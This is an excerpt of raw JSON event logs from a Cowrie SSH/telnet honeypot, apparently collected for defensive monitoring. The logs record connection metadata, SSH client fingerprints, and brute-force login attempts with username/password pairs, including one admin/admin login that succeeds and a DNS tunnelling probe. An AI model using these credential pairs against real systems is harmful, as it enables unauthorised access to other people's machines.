{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:24.581137Z","src_ip":"210.114.22.126","session":"bd80e0f3a717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:24.785034Z","src_ip":"210.114.22.126","session":"bd80e0f3a717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mailtest","password":"mailtest123","message":"login attempt [mailtest/mailtest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:25.586791Z","src_ip":"210.114.22.126","session":"bd80e0f3a717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:26.781777Z","src_ip":"122.168.114.167","session":"877932bd44ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:26.793689Z","src_ip":"210.114.22.126","session":"bd80e0f3a717","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":50256,"dst_ip":"159.203.135.109","dst_port":22,"session":"83f12e38326e","protocol":"ssh","message":"New connection: 103.13.206.208:50256 (159.203.135.109:22) [session: 83f12e38326e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:31.426928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:31.431282Z","src_ip":"103.13.206.208","session":"83f12e38326e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:31.662595Z","src_ip":"103.13.206.208","session":"83f12e38326e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.6","message":"Connection lost after 24.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:31.741780Z","src_ip":"122.168.114.167","session":"877932bd44ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root2024","message":"login attempt [root/Root2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:32.613413Z","src_ip":"103.13.206.208","session":"83f12e38326e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:33.845228Z","src_ip":"103.13.206.208","session":"83f12e38326e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.606170415878296,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:37.139079Z","src_ip":"154.16.114.125","session":"c5a5bcd7148d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":51738,"dst_ip":"159.203.135.109","dst_port":22,"session":"c114b095237b","protocol":"ssh","message":"New connection: 122.168.114.167:51738 (159.203.135.109:22) [session: c114b095237b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:45.444748Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":58952,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb400e938612","protocol":"ssh","message":"New connection: 106.75.222.164:58952 (10.17.0.5:22) [session: fb400e938612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:49.012011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:49.017577Z","src_ip":"106.75.222.164","session":"fb400e938612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:49.261096Z","src_ip":"106.75.222.164","session":"fb400e938612","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:49.296523Z","src_ip":"122.168.114.167","session":"c114b095237b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:49.302547Z","src_ip":"122.168.114.167","session":"c114b095237b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpw","message":"login attempt [root/testpw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:50.268991Z","src_ip":"106.75.222.164","session":"fb400e938612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:51.511973Z","src_ip":"106.75.222.164","session":"fb400e938612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:06.437851Z","src_ip":"122.168.114.167","session":"c114b095237b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.1","message":"Connection lost after 26.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:11.577437Z","src_ip":"122.168.114.167","session":"c114b095237b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00127482414246,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:13.826693Z","src_ip":"188.132.150.42","session":"596541fa14a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.132.150.42","src_port":3505,"dst_ip":"159.203.135.109","dst_port":23,"session":"e31ae0077844","protocol":"telnet","message":"New connection: 188.132.150.42:3505 (159.203.135.109:23) [session: e31ae0077844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:14.479463Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19996,"dst_ip":"10.17.0.5","dst_port":22,"session":"a601367a2f8b","protocol":"ssh","message":"New connection: 87.251.64.176:19996 (10.17.0.5:22) [session: a601367a2f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:18.950438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:18.955136Z","src_ip":"87.251.64.176","session":"a601367a2f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:19.051519Z","src_ip":"87.251.64.176","session":"a601367a2f8b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:19.340606Z","src_ip":"87.251.64.176","session":"a601367a2f8b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:19.439677Z","session":"a601367a2f8b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:19.537355Z","src_ip":"87.251.64.176","session":"a601367a2f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:19.770040Z","src_ip":"87.251.64.176","session":"a601367a2f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.172","src_port":51134,"dst_ip":"10.17.0.5","dst_port":22,"session":"7010d0a9258a","protocol":"ssh","message":"New connection: 14.103.114.172:51134 (10.17.0.5:22) [session: 7010d0a9258a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:20.364387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:20.369068Z","src_ip":"14.103.114.172","session":"7010d0a9258a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:20.592206Z","src_ip":"14.103.114.172","session":"7010d0a9258a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"P455w0rd","message":"login attempt [ftpuser/P455w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:22.124241Z","src_ip":"14.103.114.172","session":"7010d0a9258a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:23.352294Z","src_ip":"14.103.114.172","session":"7010d0a9258a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":41158,"dst_ip":"159.203.135.109","dst_port":23,"session":"657cc48f0ad4","protocol":"telnet","message":"New connection: 185.26.126.47:41158 (159.203.135.109:23) [session: 657cc48f0ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:23.571083Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.4.39.55","src_port":48968,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8d8e1908a7f","protocol":"telnet","message":"New connection: 94.4.39.55:48968 (159.203.135.109:23) [session: c8d8e1908a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:25.486573Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":54144,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f4b5522fd2b","protocol":"ssh","message":"New connection: 122.168.114.167:54144 (159.203.135.109:22) [session: 5f4b5522fd2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:26.868232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:30.132356Z","src_ip":"122.168.114.167","session":"5f4b5522fd2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:30.136573Z","src_ip":"122.168.114.167","session":"5f4b5522fd2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00180649757385,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:36.214438Z","src_ip":"200.225.60.204","session":"97056d1b2e28","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:45.499648Z","src_ip":"122.168.114.167","session":"5f4b5522fd2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.3","message":"Connection lost after 23.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:50.141926Z","src_ip":"122.168.114.167","session":"5f4b5522fd2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":38416,"dst_ip":"159.203.135.109","dst_port":22,"session":"70386a0ab7c4","protocol":"ssh","message":"New connection: 103.13.206.208:38416 (159.203.135.109:22) [session: 70386a0ab7c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:52.324485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:39:52.328259Z","src_ip":"103.13.206.208","session":"70386a0ab7c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256",